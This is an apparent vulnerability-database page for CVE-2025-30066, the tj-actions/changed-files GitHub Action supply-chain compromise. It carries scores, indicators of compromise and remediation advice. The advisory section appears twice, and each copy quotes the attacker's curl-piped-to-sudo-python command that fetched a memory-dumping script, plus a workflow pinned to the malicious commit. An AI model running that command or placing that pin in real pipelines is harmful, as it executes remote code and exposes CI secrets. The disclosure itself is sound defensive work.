CVE-2025-30066
tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.
tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.6
tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)
- Record
CVE-2025-30066- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-506
- Updated
- 2026-11-02
EUVDEUVD-2025-6565
8.6
tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)
- Record
EUVD-2025-6565- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mrrh-fwg8-r2c3
8.6
tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.
Summary
A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.
This has been patched in v46.0.1.
Details
The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.
Key Indicators of Compromise (IoC):
- Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
- Retroactively updated tags pointing to the malicious commit:
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Malicious Code Execution:
The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`
This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.
Proof of Concept (PoC)
Steps to Reproduce:
- Create a GitHub Actions workflow using the tj-actions/changed-files action:
name: "tj-action changed-files incident"
on:
pull_request:
branches:
- main
jobs:
changed_files:
runs-on: ubuntu-latest
steps:
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
- Run the workflow and inspect the logs in the Actions tab.
- Vulnerable workflows may display secrets in the logs.
Detection:
Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:
gist.githubusercontent.com
Live reproduction logs:
🔗 Harden-Runner Insights
This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.
Duration of Vulnerability
The vulnerability was active between March 14 and March 15, 2025.
Action Required
-
Review your workflows executed between March 14 and March 15:
- Check the changed-files section for unexpected output.
- Decode suspicious output using the following command:
echo 'xxx' | base64 -d | base64 -d - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
-
Update workflows referencing the compromised commit:
- If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
-
Tagged versions:
- If you are using tagged versions (e.g.,
v35,v44.5.1), no action is required as these tags have been updated and are now safe to use.
- If you are using tagged versions (e.g.,
-
Rotate potentially exposed secrets:
- As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
Impact
- Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
- **Who is…
- Record
GHSA-mrrh-fwg8-r2c3- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H - Weakness
- CWE-506
- Updated
- 2026-11-02
CISA KEV No score
tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability
tj-actions/changed-files GitHub Action contains an embedded malicious code vulnerability that allows a remote attacker to discover secrets by reading Github Actions Workflow Logs. These secrets may include, but are not limited to, valid AWS access keys, GitHub personal access tokens (PATs), npm tokens, and private RSA keys.
- Record
CVE-2025-30066- Weakness
- CWE-506
- Updated
- 2026-11-02
NVD
8.6
tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)
- Record
CVE-2025-30066- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-506
- Updated
- 2026-11-02
OSV
8.6
tj-actions changed-files before 46 allows remote attackers to discover secrets by reading actions logs. (The tags v1 through v45.0.7 were affected on 2025-03-14 and 2025-03-15 because they were modified by a threat actor to point at commit 0e58ed8, which contained malicious updateFeatures code.)
- Record
CVE-2025-30066- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-506
- Updated
- 2026-11-02
OSVGHSA-mrrh-fwg8-r2c3
8.6
tj-actions changed-files through 45.0.7 allows remote attackers to discover secrets by reading actions logs.
Summary
A supply chain attack compromised the tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs. The vulnerability existed between March 14 and March 15, 2025, and has since been mitigated. This poses a significant risk of unauthorized access to sensitive information.
This has been patched in v46.0.1.
Details
The attack involved modifying the tj-actions/changed-files GitHub Action to execute a malicious Python script. This script extracted secrets from the Runner Worker process memory and printed them in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs.
Key Indicators of Compromise (IoC):
- Malicious commit: 0e58ed8671d6b60d0890c21b07f8835ace038e67
- Retroactively updated tags pointing to the malicious commit:
v1.0.0: 0e58ed8671d6b60d0890c21b07f8835ace038e67v35.7.7-sec: 0e58ed8671d6b60d0890c21b07f8835ace038e67v44.5.1: 0e58ed8671d6b60d0890c21b07f8835ace038e67
Malicious Code Execution:
The malicious script downloaded and executed a Python script that scanned memory for secrets, base64-encoded them, and logged them in the build logs:
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3`
This script targeted the Runner Worker process, extracting and exfiltrating its memory contents.
Proof of Concept (PoC)
Steps to Reproduce:
- Create a GitHub Actions workflow using the tj-actions/changed-files action:
name: "tj-action changed-files incident"
on:
pull_request:
branches:
- main
jobs:
changed_files:
runs-on: ubuntu-latest
steps:
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67
- Run the workflow and inspect the logs in the Actions tab.
- Vulnerable workflows may display secrets in the logs.
Detection:
Analyze network traffic using Harden-Runner, which detects unauthorized outbound requests to:
gist.githubusercontent.com
Live reproduction logs:
🔗 Harden-Runner Insights
This attack was detected by StepSecurity when anomaly detection flagged an unauthorized outbound network call to gist.githubusercontent.com.
Duration of Vulnerability
The vulnerability was active between March 14 and March 15, 2025.
Action Required
-
Review your workflows executed between March 14 and March 15:
- Check the changed-files section for unexpected output.
- Decode suspicious output using the following command:
echo 'xxx' | base64 -d | base64 -d - If the output contains sensitive information (e.g., tokens or secrets), revoke and rotate those secrets immediately.
-
Update workflows referencing the compromised commit:
- If your workflows reference the malicious commit directly by its SHA, update them immediately to avoid using the compromised version.
-
Tagged versions:
- If you are using tagged versions (e.g.,
v35,v44.5.1), no action is required as these tags have been updated and are now safe to use.
- If you are using tagged versions (e.g.,
-
Rotate potentially exposed secrets:
- As a precaution, rotate any secrets that may have been exposed during this timeframe to ensure the continued security of your workflows.
Impact
- Type of vulnerability: Supply chain attack, Secrets exposure, Information leakage
- **Who is…
- Record
GHSA-mrrh-fwg8-r2c3- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:H - Weakness
- CWE-506
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
tj-actions/changed-filesGitHub Actions |
through 45.0.7 | 46.0.1 |
tj-actions/changed-filesGitHub Actions |
before 46.0.1 | 46.0.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | Checkmarx/Checkmarx-CVE-2025-30066-Detection-Tool | 2025-03-18 |
| PoC in GitHub | Super-Vulnerable-Org/compromised-action | 2026-05-14 |
History
| Recorded | Changed | Sources |
|---|---|---|
| exploitation | ||
| first indexed | CVE List, EUVD, GitHub Advisories, CISA KEV, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-30066 is a high vulnerability (CVSS 8.6) in Tj-actions Changed-files, published March 15, 2025. CISA lists it as known to be exploited, since March 18, 2025. EUVD reports exploitation since March 18, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 72.1%, the 99th percentile. Fixed in tj-actions/changed-files 46.0.1.
References
github.com/github/docs/blob/962a1c8dccb8c0f66548b324e5b921b5e4fbc3d6/content/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions.md?plain=1
github.com/tj-actions/changed-files/issues/2463
stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised
news.ycombinator.com/item?id=43368870
web.archive.org/web/20250315060250/https://github.com/tj-actions/changed-files/issues/2463
Show 21 moreShow less
news.ycombinator.com/item?id=43367987
github.com/rackerlabs/genestack/pull/903
github.com/chains-project/maven-lockfile/pull/1111
sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
github.com/espressif/arduino-esp32/issues/11127
github.com/modal-labs/modal-examples/issues/1100
github.com/tj-actions/changed-files/issues/2464
github.com/tj-actions/changed-files/blob/45fb12d7a8bedb4da42342e52fe054c6c2c3fd73/README.md?plain=1
wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
stream.security/post/github-action-supply-chain-attack-exposes-secrets-what-you-need-to-know-and-how-to-respond
sweet.security/blog/cve-2025-30066-tj-actions-supply-chain-attack
github.com/tj-actions/changed-files/issues/2477
blog.gitguardian.com/compromised-tj-actions
cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-30066
cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
nvd.nist.gov/vuln/detail/CVE-2025-30066
github.com/tj-actions/changed-files/releases/tag/v46.0.1
github.com/tj-actions/changed-files/security/advisories/GHSA-mw4p-6x4p-x5m5
github.com/advisories/GHSA-mrrh-fwg8-r2c3
github.com/CVEProject/cvelistV5/tree/main/cves/2025/30xxx/CVE-2025-30066.json
github.com/tj-actions/changed-files
Left out here: the rest of 2 source descriptions. The JSON record has them.